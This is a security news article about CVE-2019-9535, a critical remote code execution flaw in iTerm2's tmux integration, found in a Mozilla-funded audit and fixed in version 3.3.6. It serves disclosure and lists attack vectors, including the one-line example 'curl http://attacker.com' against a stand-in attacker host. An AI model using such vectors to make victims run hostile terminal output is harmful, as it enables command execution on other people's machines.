Pierluigi Paganini October 10, 2019

Security experts discovered a critical remote code execution vulnerability, tracked as CVE-2019-9535, in the GPL-licensed iTerm2 macOS terminal emulator app.

Security experts at cybersecurity firm Radically Open Security (ROS) discovered a 7-year old critical remote code execution vulnerability in the GPL-licensed iTerm2 macOS terminal emulator app.

The iTerm2 macOS terminal emulator app is one of the most popular open-source replacements for Mac’s built-in terminal app.

The RCE flaw tracked as CVE-2019-9535 was discovered as part of an independent security audit funded by the Mozilla Open Source Support Program (MOSS).

“A security audit funded by the Mozilla Open Source Support Program (MOSS) has discovered a critical security vulnerability in the widely used macOS terminal emulator iTerm2.” reads the security advisory published by Mozilla. “During the audit, ROS identified a critical vulnerability in the tmux integration feature of iTerm2; this vulnerability has been present in iTerm2 for at least 7 years. An attacker who can produce output to the terminal can, in many cases, execute commands on the user’s computer.”

The RCE vulnerability resides in the tmux integration feature of iTerm2, it could be exploited by an attacker to execute arbitrary commands by providing malicious output to the terminal.

The experts published a video PoC that shows how to exploit the vulnerability by producing output to the terminal. Possible attack vectors would be connecting to an attacker-controlled SSH server or commands like curl http://attacker.com and tail -f /var/log/apache2/referer_log.

“Typically, this vulnerability would require some degree of user interaction or trickery; but because it can be exploited via commands generally considered safe, there is a high degree of concern about the potential impact,” Mozilla concludes.

The iTerms2 version 3.3.6 addresses the flaw that affects prior versions.

Pierluigi Paganini

(SecurityAffairs – iTerms2, hacking)

[adrotate banner=”5″]

[adrotate banner=”13″]